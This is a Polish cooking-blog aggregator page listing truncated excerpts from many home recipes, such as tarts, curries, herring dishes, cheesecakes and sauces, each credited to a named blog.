puszysty. Danie sprawdzi się idealnie na lunch czy kolację dla 4 – 5 osób. Można podawać ją samą lub w towarzystwie sałatki z rukoli, roszponki, pomidorków koktajlowych i sosu winegret. Tarta z łososiem, porem i camembertem porcja dla 4 – 5 osób Składniki: jaglany spód: 1 szklanka kaszy jaglanej 1,5 szklanki wody 1 ząbek czosnku 1/2 cebuli 1/3 szklanki

Jaglusia
Zapiekane kotleciki mielone 174

nagrzanym do 180 stopni piekarniku - ok. 30 minut. Po wyjęciu z piekarnika posyp startym serem. Kotleciki podajemy z frytkami, ziemniakami lub z grzankami. Bardzo dobrze smakują z dodatkiem sosu czosnkowego ( przepis). PS: Danie możesz przygotować dzień wcześniej i wstawić do lodówki a podgrzać dopiero przed przyjściem gości

Alutka-Gotuje
Sernik czekoladowo-śliwkowy 202

ziemniaczanej Śmietanę umieścić w garnku, podgrzać prawie do zagotowania. Zdjąć z palnika. Dodać czekolady i mieszać do rozpuszczenia. Pozostałe składniki zmiksować na gładką masę. Wmieszać lub zmiksować z sosem czekoladowym, który lekko przestygł. Dodać śliwki. Masę wylać na schłodzony spód.  Piec 50-60 min w 150*C. Smacznego! Przepis ze strony mojewypieki.com

Chocolate Muffin Blog
Tortellini z boczkiem i serem Mozzarella 196

Proponujemy inną wersję tortellini, tym razem z boczkiem, mozzarellą i sosem pomidorowym a wszystko zapieczone w piekarniku.       Składniki: -opakowanie tortellini -ok. 35 dkg wędzonego boczku -15 dkg sera mozzarella w wiórkach -1 cebula -duży ząbek czosnku -500 ml przecieru pomidorowego -1 pikantna papryczka -sól, pieprz Kroimy: -boczek w kostkę -cebulę i czosnek w kosteczkę -papryczkę w bardzo

Maminek kulinarny
Trendy kulinarne 2017 - sztuczne mięso, gotowanie z odpadków i gofry 220

piekarniku nagrzanym do 180 stopni jakąś godzinę.  Odrobinę mąki zasmażamy na oleju, dodajemy wodę i dobrze mieszamy. Dodajemy warzywa z pieczeni i łyżkę musztardy. To będzie nasz sos. Resztki marchewki, cebuli, "wczorajszych" ziemniaków i innych rzeczy, które przyjdą nam do głowy trzemy , drobno kroimy lub ugniatamy jeśli było ugotowane, dodajemy trochę mąki i wody, i taką masę umieszczamy

Kryzysowa Książka Kucharska
Kurczak a'la królik 221

liści laurowych oraz 4-5 kulek ziela angielskiego. Gdy cebula się zeszkli podlać ciepłą wodą (około ¾ szklanki), ewentualnie doprawić i podlać tym mięso. Dusić pod przykryciem do miękkości. Sos zagęścić śmietanką 30-36% i obficie posypać zieleniną koperkiem lub natką pietruszki. Mięso wychodzi bardzo smaczne aromatyczne i delikatne

W garach u Gosi
Pikantny ketchup z dodatkiem marchewki 193

Ten przepis powstał jesienią, ale biorąc pod uwagę dostępność produktów, można go wykorzystać także zimą. Jest to zdrowsza alternatywa dla sklepowych ketchupów, których składy prawie zawsze

Codzienna kuchnia niecodzienna
Jajka zapiekane z soczewicą i grana padano 131

krócej. Gotowe podajemy zaraz po przygotowaniu. Posypujemy czarnuszką i startym grana padano. Podajemy np. z paluszkami włoskimi grissini lub grzankami. Dla lubiących ostrzejsze smaki można podać danie z ostrym sosem chili. Latem do takiej wersji warto dodać pomidorki. Nie kupujmy gotowego, startego sera grana padano, często jest suchy i bez smaku. Warto zainwestować w dobry kawałek grana padano

Moja smaczna kuchnia
Mężczyzna w kuchni i najlepsza sałata do obiadu 223

angażuję w wykonanie sałaty lub sałatki do obiadu. To nieskomplikowana czynność, ale facet może ją zrobić od początku do końca sam. Ty w tym czasie możesz wykańczać swój francuski sos na patelni, a On ma szansę wykazania się w najlepszym dressingu świata, do którego musi zapamiętać kilka składników, więc to dla niego pestka! SAŁATA DO OBIADU, SKŁADNIKI: - 3 garście gotowej

SMYKWKUCHNI
Kieszonki z kurczaka nadziewane jabłkiem, śliwką i orzechami 246

pieczone ziemniaki z parmezanem. Kolejny smaczny i pożywny obiad. Dania z kurczaka przyrządzam często. Zazwyczaj używam piersi z kurczaka ale i robiłam roladki i z odfiletowanych udek. Roladki w sosie należą do ulubionych. Kieszonki z kurczaka Składniki: na 4 -6 porcji 4 piersi z kurczaka średniej wielkości 2 jabłka 6 suszonych śliwek 3 czubate łyżki grubo posiekanych włoskich orzechów

codojedzenia
"Wytrawne potrawy wigilijne 2016" - podsumowanie akcji 220

koperkiem ; blog Moje domowe kucharzenie Śledziowa sałatka z fasolą ; blog Ewa w kuchni Śledzie z suszonymi pomidorami i orzechową nutą ; blog Ewa w kuchni Śledzie z grzybami w sosie śmietanowym ; blog Czerwień i błękit śledzie z orzechami ; blog babka w formie moskaliki w śmietanie ; blog babka w formie Śledzie w śliwkach ; blog Gotowanie jest łatwe Śledzie w zalewie pomidorowej ; blog

Weekendy w domu i ogrodzie
"Schronisko smaków" Magda Gessler 346

bardziej nowoczesne przepisy - krewetki z czosnkiem i chilli, podpalane brandy, na grzance, z czerwonym pesto i sałatą, łosoś marynowany w imbirze i chilli z orientalną sałatką z fenkułu i sosem mango. Nie zabrakło też deserów i tu mamy - pączki zbójnickie, diabelski mus czekoladowy i inne :-) Podsumowując - świetna pozycja z pięknymi zdjęciami Tatr, ich kulturą. Ja uwielbiam po prostu. Mogłabym

kruche babeczki
Brokuły 144

warzyw o bardzo bogatym składzie. Zawierają szereg witamin, składników mineralnych i przeciwutleniaczy. Bez dwóch zdań, warto je jeść! Przepisy na dani z brokułami znajdziecie tutaj ! Kuskus z Tofu i Sosem

rabarbarowo
Kopytka zapiekane z sosem 211

solą. Do wrzącej, osolonej wody wrzucamy kopytka i gotujemy przez 2 minuty od momentu wypłynięcia na powierzchnię. Boczek podsmażamy na patelni. Kopytka dokładamy do boczku i delikatnie podsmażamy. Dodajemy sos i mieszamy. Przekładamy do naczynia żaroodpornego, dodajemy ser i mieszamy. Wstawiamy na 15 minut do piekarnika nagrzanego do temperatury 170 st. C i gotowe. Smacznego

Maminek kulinarny
Gulasz z batatami i pieczarkami 263

talerz, a na patelni przesmażam bataty, dolewam do nich bulion i duszę na wolnym ogniu. Jak będą aldente, dodaję do nich kurczaka, pieczarki, wsypuję łyżkę mąki i zagęszczam sos. Na końcu doprawiam według uznania. Gulasz podaję z ugotowanym ryżem, posypuję natką pietruszki

wesoła kuchnia
Bażant pieczony 164

równo całą pierś. Przykryć bażanta plasterkami szynki. Bażanta ułożyć w naczyniu do zapiekania i wstawić do piekarnika nagrzanego do 160 stopni na 70 - 80 minut. Podczas pieczenia polewać wytworzonym sosem. Gdy bażant będzie już prawie gotowy, zdjąć szynkę, aby ładnie się przyrumienił. Podałam z pieczonymi ziemniakami. zastawa

królestwo garów
Warzywa z makaronem i kurczakiem w delikatnym sosie :) 487

obiad idealny, dla całej rodziny (jeżeli zwiększysz ilość składników ☺ ). Mnóstwo warzyw, pełnowartościowe białko w postaci piersi z kurczaka i dawka węglowodanów z razowego makaronu, całość połączona  kremowym, delikatnym sosem  😍  Składniki (2 porcje): 400 g mieszanki warzyw mrożonych  1 pierś z kurczaka 120 g makaronu pełnoziarnistego  1 łyżka oleju kokosowego  przyprawy: sól himalajska, pieprz czarny

Zdrowie na języku :P
Paella pomidorowa 182

Doprawić sproszkowaną słodką papryką i kurkumą oraz solą morską i pieprzem do smaku. Dusić przez 15 minut pod przykryciem nie mieszając.  Po tym czasie ryż powinien wchłonąć większość sosu. Jeżeli jednak konsystencja będzie zbyt rzadka, podgrzewać jeszcze 5-10 minut bez przykrycia, co jakiś czas mieszając. Skropić cytryną przed podaniem

Pij soki wyciskane
Sałatka z kuskusem i pieczarkami 210

kuskus wymieszać z pieczarkami, cebulą i suszonymi pomidorami. Następnie dodać rukolę, delikatnie przemieszać. Wyłożyć sałatkę do salaterki. Na wierzchu ułożyć połówki pomidorków koktajlowych. Składniki dressingu dobrze ze sobą połączyć. Sosem polać sałatkę, najlepiej tuż przed podaniem. Smacznego

kolorowotorcikowo
Krewetki z mango i awokado 292

włosy z makaronu. Składniki: – 500 g mrożonych krewetek – 1 małe awokado – sok z 1/2 limonki – 1 mango – sól, pieprz do smaku Sos do krewetek – 4 ząbki czosnku – kawałek imbiru, ok. 3 cm – szczypta posiekanych liści limonki kafir – 1 mała papryczka czerwona – 1 łyżka octu ryżowego

To co kocham
Rolada z piersi indyka w dwóch smakach - z pieczarkami bądź szpinakiem 252

minut. Temperatury nie znam bo to gazowy piekarnik Teściówki ;) Następnie wyciągamy z rękawa i dopiekamy roladki przez ok. 20 minut w naczyniu żaroodpornym. Polewamy w tym czasie sosem a na ostatnie kilka minut zdejmujemy przykrywkę. Następnie usuwamy ewentualne wykałaczki. Roladę kroimy najlepiej lekko przestygniętą wtedy wyjdą piękne plastry. Ja niestety zbyt szybko pokroiłam gorące roladki i trochę się rozpadły. Roladki

Kuchnia po mojemu
Sous Vide Cooker w Lidl. Test urządzenia oraz przepis. 222

zgrzewarce. Woreczek włożyć  do wolnowaru i włączyć odpowiedni program. po zakończeniu programu wyjąć jak najszybciej łososia z woreczka. Podawać z ulubionymi warzywami na przykład szpinakiem i ziemniakami i sosem chrzanowym. Moja opinia: Kiedy już opanujemy zgrzewanie woreczków, a trwa to szybko, pozostaje nam tylko włączyć główne urządzenie, włożyć produkty i czekać wymagany czas. Urządzenie jest wykonane estetycznie. Łatwe

AZgotuj!
Kurczak z suszonymi owocami i oliwkami. 181

widokami. Pójdźmy za ich przykładem. Kurczak, suszone owoce, oliwki, kapary - ten zestaw bardzo mi się podoba. Połączenie zdecydowanych smaków słodkich i słonych. Coś w rodzaju potrawki ze śladową ilością sosu winnego. Krzepiące, pachnące, słoneczne danie - smacznego! :) Składniki: 500 g filetów z udek kurczaka 1 szklanka mieszanych suszonych owoców (morele, śliwki, figi...) 200 ml białego wina 1 cebula 1 ząbek czosnku

zadanie-gotowanie
Chili con carne z chorizo 254

mniej więcej 1/3 łyżeczki papryki ostrej, około 1 łyżeczki przetartych w moździerzu ziaren kolendry oraz 1/2 łyżeczki oregano, sól i pieprz do smaku. Dusimy około 15-20 minut. Gdy sos pomidorowy mocno się już zredukuje dodajemy przepłukaną na sicie czerwoną fasolę oraz osączoną kukurydzę. Na koniec dorzucamy kostki czekolady, niech roztopią się w gorącej potrawie. Podajemy z ugotowanym na sypko

Smaki Na Talerzu
Serowe ciasteczka wytrawne 226

Pyszne, chrupiące serowe ciasteczka wytrawne z dodatkiem kminku polecają się na imprezę karnawałową. Możemy je podać same do chrupania i przegryzania, z jakimś fajnym dipem czy sosem, lub przełożyć czy też posmarować je pastą. Wtedy wyjdzie Wam taka mini kanapeczka 😋. Inspiracje na pasty znajdziecie poniżej: Pasta z łososia Hummus, pasta z cieciorki Pasta z tuńczyka Pasta z tuńczykiem

Kulinarne przygody Gatity
Kebab w bułce z grilla elektrycznego. 223

kapusta pekińska -ogórek -pomidor -200 ml. jogurtu naturalnego -2 łyżki majonezu -3 ząbki czosnku -sól -pieprz -bułka turecka lub inny okrągły chleb Sposób przygotowania: W pierwszej kolejności przygotowujemy sos czosnkowy, można go nawet zrobić kilka godzin przed. Czosnek przeciskamy przez prasę, Dodajemy do jogurtu naturalnego i majonezu. Doprawiamy solą i pieprzem i całość dokładnie mieszamy. Piersi myjemy, kroimy na mniejsze

Magia jedzenia.
TIROPITY Z WĘDZONYM ŁOSOSIEM 242

łososia wędzonego sok z 1/2 cytryny sól, pieprz Dodatkowo: jajko kminek cały Wykonanie: Farsz: Koperek myjemy, osuszamy i drobno siekamy. Do miski wrzucamy ser ricotta i posiekany koperek. Dodajemy sos z cytryny i miksujemy blenderem na jednolitą masę. Łososia wędzonego kroimy na małe kawałki i dodajemy do masy serowej. Mieszamy łyżką. Przyprawiamy do smaku solą oraz pieprzem. Ciasto: Do miski

Kuchnia MagdaLeny
Karkówka z cebulą i czosnkiem 184

pokrywką i wstawiam do rozgrzanego piekarnika na 160 stopni na 2 godzinki , po tym czasie mięsko mamy gotowe do podania , dla tych co lubią to można odrobinę zabielić nasz sos mąką , ale to według uznania

Mój Smak
Babka marchewkowa z rodzynkami 183

wykluczam jednak spontanicznej improwizacji wynikającej głównie z braku produktów, których zapomniałam umieścić na liście zakupów. Na moje szczęście na blogu w dziale "Wielkanoc" nie brakuje serników ( TUTAJ ) pasztetów ( TUTAJ ) sosu wielkanocnego ( TUTAJ ) i kilku drożdżowych wypieków ( TUTAJ ) . Ostatnio do grona dołączyły również dwie nietuzinkowe i szybkie babki ( TUTAJ ) . Zapraszam po inspiracje, jeśli i Wam brakuje czasu.  Składniki Czas przygotowania

Słodki Kompromis
Kiszone cytryny 241

rozkwitła na dobre kiedy przygotowałam je samodzielnie, choć musiałam powstrzymywać swoją niecierpliwą duszę przed codziennym zaglądaniem na górną półkę spiżarki. Dodaję kiszone cytryny do sałatek, rybnych i mięsnych burgerów, sosów, gulaszy, pieczonych bakłażanów, wszędzie tam gdzie intensywny, cytrynowy smak jest pożądany, nie należy jednak przesadzać, 1-2 ćwiartek wystarczą w zupełności. Przechowujemy w lodówce, bardzo długo, właściwie się nie psują

Słodki Kompromis
Ravioli z płynnym żółtkiem i palonym masłem szałwiowym 242

rodzaj włoskich pierogów w których z racji na większą gęstość ciasta można zamknąć prawie wszystko, ja sięgnęła dziś po klasyczne połączenia dwóch serów i lejącego żółtka, a za sos robi słynne beurre noisette czyli palone masło o orzechowym smaku z prażona listkami szałwii.  Składniki na 2 porcje Czas przygotowania: 90 min Ciasto na ravioli 300 g mąki pszennej

Słodki Kompromis
Majówkę czas zacząć....... 155

przepisów: do porannej lub popołudniowej kawy rozmarynową tartę z truskawkami ( klikaj tutaj ), na małą przekąskę warto w lodówce mieć małe pâté ( klik ), natomiast na duży głód bezapelacyjnie pieczeń w sosie barbecue ( tutaj ). Jeśli jednak będziecie potrzebować dodatkowej dawki energii na dobrego dnia początek polecam energetyzujące nie tylko kolorem zielone smoothie ( klik ). Do miłego

Słodki Kompromis
Sernik na czekoladowym spodzie z musem truskawkowym 157

Truskawki odszypułkować i włożyć do rondelka, dodać cukier i gotować na większym ogniu co chwilę mieszając przez ok. 7 minut aż zmiękną, zaczną się rozpadać i będą otoczone gęstym sosem 3. Truskawki dodać do galaretki, wymieszać i ostudzić, gdy galaretka będzie już zimna dodać do niej jogurt i lekko zblendować, powinny pozostać kawałeczki truskawek, schładzamy w lodówce, pilnujemy żeby masa

Słodki Kompromis
Shakshuka 134

patelni rozgrzej oliwę, dodaj harissę, koncentrat, przyprawy i posiekany czosnek, smażymy ok 3 minuty 2. Dodajemy pokrojone w dużą kostkę pomidory i dusimy ok 10 minut, aż sos odparuje, stanie się gęsty, doprawiamy do smaku solą 3. W pomidorach robimy 4 dołki, wbijamy w nie jajka i trzymamy całość na ogniu ok 10 minut, aż białko się zetnie a żółtko

Słodki Kompromis
Bakłażany faszerowane komosą ryżową, wiśniami i granatem 196

Bakłażany zalewają stragany, podobnie jak cukinie to najlepszy czas na ich zastosowanie w kuchni. Grillowane plastry z sosem tahin, pieczone z orientalnymi przyprawami, opalane aby wydobyć miękki miąższ do słynnego baba ganoush, wszystkie zastosowania są przepyszne i zdrowe dla naszego organizmu, gdyż bakłażany mają właściwości detoksykacyjne, poprawiają przemianę materii i obniżają zły cholesterol. Skóra podczas pieczenia staje się dość twarda

Słodki Kompromis
Gofry z jagodami i jogurtem 181

brzegi przesłodzonymi frużelinami, co gorsza wiele z nich dopiero co wyjęto z plastikowego pojemnika z długo datą przydatności, kolorowe posypki kuszą dzieciaki, a rodziców wpędzają w stan "skonfundowania", sosy o dziwnych, nienaturalnych kolorach, śmietana ze sprayu, i najgorsze...owoce z puszki - to wszystko sprawia, że gofry są nie tyko niezdrowe, ale też niesmaczne. A przecież tak niewiele trzeba, owoców latem

Słodki Kompromis
Ciastka z białą czekoladą i żurawiną 195

każdy wypiek, keks, makowiec, ciasteczka, muffinki lub sernik, odnajduje się równie dobrze w towarzystwie mięsa, kaczki, indyka, gęsi, szynki wieprzowej, przy tej okazji, przypominam i  polecam Wam szczególnie sos cumberland (przepis) . Ciastka są bardzo maślane, o waniliowym aromacie, z  przyjemnym kontrastem słodkiej, białej czekolady i kwaskowatej żurawiny, oraz chrupiącymi orzechami.  Składniki na ok 20 szt Czas przygotowania

Słodki Kompromis
Pulled pork i panczkraut 199

łyżką masła, przekładamy  do kapusty, łączymy całość z ziemniakami, doprawiamy do smaku solą i pieprzem 6. Pulled pork podajemy z panczkraut i powstałym z pieczenia łopatki sosem

Słodki Kompromis
Curry z kurczakiem i kasza jaglaną 182

Pyszny kurczak w aksamitnym sosie z mleka kokosowego z kawałkami papryki oraz karmelizowaną cebulą, całość w towarzystwie sypkiej kaszy jaglanej to bardzo przyjemny posiłek po męczącym dniu. Największą zaletą dania jest to, że przygotowuje się je bardzo szybko, a składniki nie wymagają dalekich wypraw do sklepu. Curry to jedno z moich ulubionych dań lunchowych, szybkie, pożywne i do zrobienia praktycznie

Słodki Kompromis
Curry z ziemniaków 164

coraz rzadziej u mnie występujące mięso, warzywami, te wiosenne nadają się równie dobrze co jesienne dynie i pospolite korzeniowce. Młode ziemniaki z ciecierzycą i świeżym szpinakiem umoczone w pomidorowym sosie będą smakować doskonale w tak zwanym międzyczasie....w oczekiwaniu na wiosnę cieplejszą. ;) Składniki na 4 porcje Czas przygotowania: 40 min 1 kg ziemniaków 1 puszka ciecierzycy 150 g świeżego szpinaku

Słodki Kompromis
Serniko-brownie z karmelizowanym rabarbarem 206

maju rabarbaru nigdy dość, podobnie jak szparagów, choć te drugie znikają zanim sięgnę po aparat, już kilkakrotnie czyniłam starania o ich sfotografowanie kiedy unurzane w sosie holenderskim z jajkiem poche lądują w majowym menu śniadaniowym, jednak w konfrontacji z domowymi miłośnikami takiego śniadania zawsze jestem za wolna. Częściej jednak udaje mi się zapisać na SD widok różowawych łodyg rabarbaru

Słodki Kompromis
Botwinka z ziemniakami i mlekiem kokosowym 188

wegańskiej". Składniki na ok 6 porcji Czas przygotowania: 45 min 0,5 kg botwinki 0,5 kg młodych ziemniaków 1,5 l wywaru warzywnego lub wody z 2 łyżkami sosu sojowego 4 liście laurowe 4 ziela angielskie pęczek koperku 2 szklanki mleka kokosowego (przepis) pieprz sól 2 łyżki soku z cytryny 1 łyżka octu winnego ok 1 łyżki cukru

Słodki Kompromis
Kurczak z ziemniakami i bobem 186

Ugotowane ziemniaki odcedzamy 6. Na patelni ze smażenia kurczaka dodajemy mascarpone, bób, pokrojone ziemniaki, mieszamy 7. Kurczaka kroimy na plastry, układamy na porcji ziemniaków i bobu z sosem, oprószamy posiekanym koperkiem

Słodki Kompromis
Pizza zielona, z jarmużem i cukinią 183

wymaga przecież wiele czasu i cierpliwości, ciasto potrzebuje spokoju i ciepła, dla mnie pizza to nie szybka robota. Pomijając kwestię ciasta, to same dodatki też wymagają trochę zachodu, sos pomidorowy im dłużej gotujemy tym zdrowszy dzięki zawartym w pomidorach likopenie. Ja jednak dzisiaj przygotowałam pizzę zieloną, może to jeszcze tkwiące we mnie pokłady letniego nastroju nakłoniły mnie do sięgnięcia

Słodki Kompromis
Quesadille z musem gruszkowym, gorgonzolą i szpinakiem. Do imprezowego menu 187

imprezę lub chcecie czymś zaskoczyć domowników czy gości - polecam wypróbować. Smak nietuzinkowy - to pewne. to nasze tradycyjne, wypróbowane quesadille Zrobiliśmy również nasze klasyczne quesadille z kurczakiem , warzywami i sosem czosnkowym i właśnie ten nasz swojski, wypróbowany smak zdecydowanie bardziej przypasował nam w sylwestrowy wieczór. Ze względu na moje perypetie z blenderem Teściówki podczas wykonania tego dania - uważam

Kuchnia po mojemu
Placuszki bananowe wg Aleex 211

znalazłam w Internecie. Tak mnie zaintrygował, że od razu go wypróbowałam. Sprawdził się znakomicie. Podałam je na niedzielne, leniwe śniadanie. Placuszki można serwować z różnymi dodatkami: miodem, syropem klonowym, sosem owocowym. Świetne są również bez dodatków. W takiej wersji saute lubię je najbardziej. Polecam. Składniki (na 6 placuszków): • 2 bardzo dojrzałe banany • 2 jajka • ½ łyżeczka cynamonu • kilka kropli esencji waniliowej

W mojej kuchni
Czosnek marynowany z ostrą papryką lub ziołami 275

Czosnek można marynować cały rok i wykorzystywać go na bieżąco. Jest to świetny dodatek do sałatek czy mięsnych sosów. Jako samodzielna przekąska też się sprawdza, jeśli ktoś lubi ostrzejsze smaki. Dzisiaj proponuję Wam przygotowanie takiego czosnku na dwa sposoby: z pieprzem i ziołami prowansalskimi oraz z ostrą papryczką. Kupując czosnek zwróćcie jednak uwagę, aby to był nasz polski

Codzienna kuchnia niecodzienna
Mini pizza w 4 smakach (wersja II) 214

Kolejna uczta, czyli przepis na mini pizze w kolejnych 4 odsłonach:) Tym razem do wyboru: I. Kebab (z kurczakiem, sosem czosnkowym i sałatą) II. Rybna (z tuńczykiem, serkiem wiejskim i kukurydzą) III. Cztery sery z brokułami (mix serów i brokuły) IV. Włoska (z domowym pesto, suszonymi pomidorami, oliwkami

KuchniaWeDwoje.pl
Kąski z ciasta francuskiego ze szpinakiem 235

Moja kolejna propozycja na przekąskę z ciasta francuskiego tym razem w wersji wegetariańskiej ze szpinakiem i serem feta. Razem z sosem czosnkowym smakuje rewelacyjnie 🙂 Czas wykonania: 40 min Ilość porcji: 14 sztuk Składniki: 1 opakowanie ciasta francuskiego Farsz: 400 g mrożonego szpinaku (300 g świeżego) 1 opakowanie sera feta (270 g) 3 ząbki czosnku

KuchniaWeDwoje.pl
Karczek duszony w sosie własnym 222

surówką. Czas wykonania: 3 h (+ 6-12 h czas marynowania) Ilość porcji: 20 kawałków Składniki: 1 kg karczku wieprzowego 2 łyżki […] Artykuł Karczek duszony w sosie własnym pochodzi z serwisu KuchniaWeDwoje.pl

KuchniaWeDwoje.pl
Sałatka ziemniaczana z groszkiem i kiełbasą 215

ziemniakami, czyli z niemieckiego Kartoffelsalat – sałatka przygotowywana jest przede wszystkim na bazie ziemniaków. Moja wersja nieco różni się od oryginału: zamiast majonezu jest sos winegret i dużo warzyw oraz kiełbasy, także panom będzie smakowała. Można powiedzieć, że jest to chłopska delikatna sałatka z warzywami i kiełbasą. Czas wykonania

KuchniaWeDwoje.pl
Gołąbki bez zawijania zapiekane z serem 6088

Jedną z moich ulubionych potraw są gołąbki. Dzisiaj mam dla Was wersję dla leniuszków. Gołąbki bez zawijania, zapiekane w sosie pomidorowym z serem. Bardzo szybkie do zrobienia i smaczne. Jeśli takie robiliście, to wiecie, że są pyszne, a jeśli nie próbowaliście to koniecznie zróbcie. Na blogu znajdziecie również przepis gołąbki tradycyjne lub zapiekane w piekarniku. Składniki 600 g mięsa mielonego

O kuchni z uczuciem
Rolada śląska 2575

zawiązać nitką. Kłaść na rozgrzany tłuszcz i obsmażyć z każdej strony. Gdy rolady się zrumienią podlać wodą, dodać liść laurowy, ziele angielskie i dusić do miękkości. Na koniec sos zagęścić mąką z wodą.  Przed podaniem usunąć nitki. Podajemy z kluskami śląskimi i modrą kapustą. Smacznego

magiczna kuchnia Kasi
Pizza capriciosa (ciasto drożdżowe bez wyrastania) 248

iosa to najpopularniejsza , zaraz po maghericie pizza :). Jest w ofercie praktycz nie każdej pizzeri , nie zapominajmy, że w prosty sposób możemy przygotować ją w domu! Zawsze są na niej sos pomidorowy, ser, szynka i pieczarki, w mojej wersji dodałam także czerwoną cebul ę.  Ciasto: 1,5 szklanki mąki 1/2 szklanka mleka 25g świeżych drożdży 1/2 łyżeczki cukru 1/2 łyżeczki

Szefowa kuchni
Indyk w portach, czyli potrawka z indyka 179

Potrawka z indyka z porem i sosem jogurtowym. Lub śmietanowym, jeśli ktoś taki bardziej lubi. Można podawać jako samodzielne danie lub podać z ryżem. 2 porcje: 400 g sznycli z indyka 1 mniejszy por 1 puszka fasoli białej lub pinto 200 g gęstego jogurtu lub śmietany 1 łyżka oleju kokosowego sól i pieprz, sok z połowy limonki opcjonalnie ryż

Kucharzyca
ŚLIMACZKI Z SEREM I SZYNKĄ 246

nią ser. Posypujemy ziołami prowansalskimi. Ciasto zwijamy jak roladę, kroimy w dość grube plastry Układamy na blasze wyłożonej papierem Pieczemy do zrumienienia ok 15 minut. Podajemy z ulubionymi sosami

Z Majeczką w kuchni
Najpopularniejsze przepisy 2016 roku 202

dziesięć przepisów z minionego roku, które najchętniej były czytane. Dania główne i świąteczne Wigilijna kasza jaglana z suszonymi śliwkami i miodowo-korzennym aromatem Kurczak z zielonymi warzywami w sosie teriyaki Jaglane kotlety z rybą i szalotką Czerwona kapusta na ciepło Pęczotto ze świeżymi kurkami Zupy Francuska zupa cebulowa Sałatki Świąteczna sałatka śledziowa z ziemniakami, cebulą i szczypiorem Sałatka z mozzarellą

My Chcemy Jeść
Masło 116

tutaj ! Przygotowuję się również do zrobienia własnego domowego masła. Jak tylko mi się to uda (czytaj jak tylko znajdę chęci) to się z Wami podzielę wrażeniami Warzywny Wellington z Sosem Balsamicznym         Biszkopcik z Morelami i Orzechami Włoskimi Domowe Rogaliki Maślane         Zapisz

rabarbarowo
Prosty gulasz z piersi kurczaka 257

obiad do ziemniaczków i zestawu surówek – polecam Wam np. surówkę z kwaszonych ogórków i pyszną surówka z czerwonej kapusty z marchewką, jabłkiem i zielonymi dodatkami .  Taki sos można również podać z makaronem lub polać nim placki ziemniaczane. Smakuje i syci. Spróbujcie. Składniki: 2 pojedyncze piersi z kurczaka 1 czerwona cebula 100 g margaryny 1 łyżka + około 1 łyżeczki

Słodkie okruszki
Sałatka Primavera 258

liści sałaty, na nich szparagi, pomidorki, cząstki pomarańczy, połówki jajek, rzodkiewkę, znowu kilak liści sałaty i karczochy, plastry gruszki, kiełki słonecznika , awokado. Na wierzchu ułożyłem wiórki marchewki. Całość polałem sosem francuskim : dwie łyżki soku z cytryny wymieszałem z solą, pieprzem i z pół łyżeczki cukru , aż wszystko się rozpuściło. Powoli dolewałem oliwę z oliwek ( 5 łyżek ), ciągle mieszałem. Dodałem

R'n'G Kitchen
Najpopularniejsze przepisy w 2016 143

owsianych z bananem i dżemem truskawkowym 6. Kokosowy pudding chia z bananem i karmelizowanym ananasem 7. 3 pomysły na sałatki na wynos w słoiku 8. Makaron z kalafiorem w sosie śmietanowym 8. Klasyczne ciastka owsiane z czekoladą The post Najpopularniejsze przepisy w 2016 appeared first on Cooking for Emily

Cooking for Emily
Risotto na ostro z kurczakiem + wskazówki 230

włochów jest dopuszczalna jedynie do risotto z owocami morza. Wskazówki Nie wolno płukać ryżu przed gotowaniem, aby nie zmyć skrobi z zewnętrznej warstwy ziaren, która potrzebna jest do zagęszczenia sosu. Nie dodawaj zimnego wina. podgrzej je wcześniej, inaczej ryż się zahartuję i stracimy planowany efekt. Jeśli chcesz, by risotto było gęstsze, wraz z masłem dodaj trochę gęstej śmietany. Takie risotto

Wylizany Rondel
Kurczak w sosie curry 164

Dzisiaj na obiad proponuję piersi kurczaka w sosie curry podlanego mleczkiem kokosowym i podanego z ryżem i czarnym sezamem. Składniki: dwie piersi kurczaka ryż paraboliczny z dzikim 4-5 łyżeczek czerwonej pasty curry 200 ml mleczka kokosowego pół czerwonej papryki pół szklanki kiełków fasoli Mung kilka grzybów mun   sól czarny sezam Wykonanie: Piersi kurczaka pokroić w kostkę

Pysznie & Pięknie
Makaron i kurczak w białym sosie 164

podsmażyć na patelni.  Dodać śmietanę i gotować na małym ogniu. Dodać pieprz, sól i zetrzeć trochę gałki muszkatołowej. Dodać kilkanaście listków bazylii. Gdy śmietana odparuje, zacznie gęstnieć - sos jest gotowy. Podawać z makaronem i posypać startym serem

Pysznie & Pięknie
Sałatka ryżowa 178

patelni. Dodać do reszty składników. Seler naciowy pokroić na małe kawałeczki i zblanszować. Dodać do sałatki. Do jogurtu dodać koper i przeciśnięty przez praskę czosnek. Doprawić solą i pieprzem. Sos jogurtowy dodać do pozostałych składników

Pysznie & Pięknie
Truskawkowy 3 BIT 197

łyżkami wrzątku. Łyżkę mąki ziemniaczanej rozrobić w 3 łyżkach zimnej wody. Oczyszczone truskawki zasypać kilkoma łyżkami cukru. Owoce podgrzewać do lekkiego zgęstnienia. Następnie dokładnie zmiksować blenderem. Sos truskawkowy zagotować i dodać do niego rozrobioną mąkę ziemniaczaną. Odstawić z ognia i dodać rozpuszczoną żelatynę. Ostudzić. Śmietanę ubić na sztywno i dodać dwie łyżki cukru pudru. Do ubitej śmietany dodawać stopniowo

Pysznie & Pięknie
Śledzie w cebulowo-porowym sosie 169

cukrem, wymieszać i odstawić na kilka minut. Jabłko drobno pokroić i polać połową soku z cytryny, wymieszać. Majonez i jogurt wymieszać, doprawić pieprzem, cukrem i sokiem z cytryny. Do sosu dodać jabłko, por i cebulę. Polać nim śledzie lub całość wymieszać. Posypać posiekaną natką pietruszki

Pysznie & Pięknie
Boczniaki w sosie śmietanowym 695

dzięki temu są niepowtarzalne. Można z nich wyczarować bardzo oryginalne i smakowite potrawy. U mnie prosty sposób na boczniaki w połączeniu ze śmietaną. Prosty ale za to pyszny sos boczniakowy. Składniki: 500 g boczniaków śmietana 18% 1 duży por 1 duża cebula natka pietruszki sól pieprz Wykonanie: Boczniaki, cebulę i por drobno pokroić. Podsmażyć na patelni kilka minut. Podlać

Pysznie & Pięknie
Śledzie w sosie curry 181

kurkumy i dwie łyżeczki curry dobrze razem połączyć. Cebulę drobno pokroić posypać solą i cukrem. Wymieszać i odstawić na 30 minut. Śledzie ułożyć na talerzyku, posypać cebulą i polać sosem. Posypać szczypiorkiem. Odstawić do lodówki na kilka godzin. Dodaj do listy blokowanych banerów

Pysznie & Pięknie
Placek z darów - full freegan :) 172

dlatego musimy pomóc sobie talerzem jak w przypadku Rosti na zielono . Zawartość puszki wlewamy do garnka i wrzucamy serek. mieszamy na małym ogniu aż się roztopi i polewamy takim sosem placki

Kryzysowa Książka Kucharska
Rajma 198

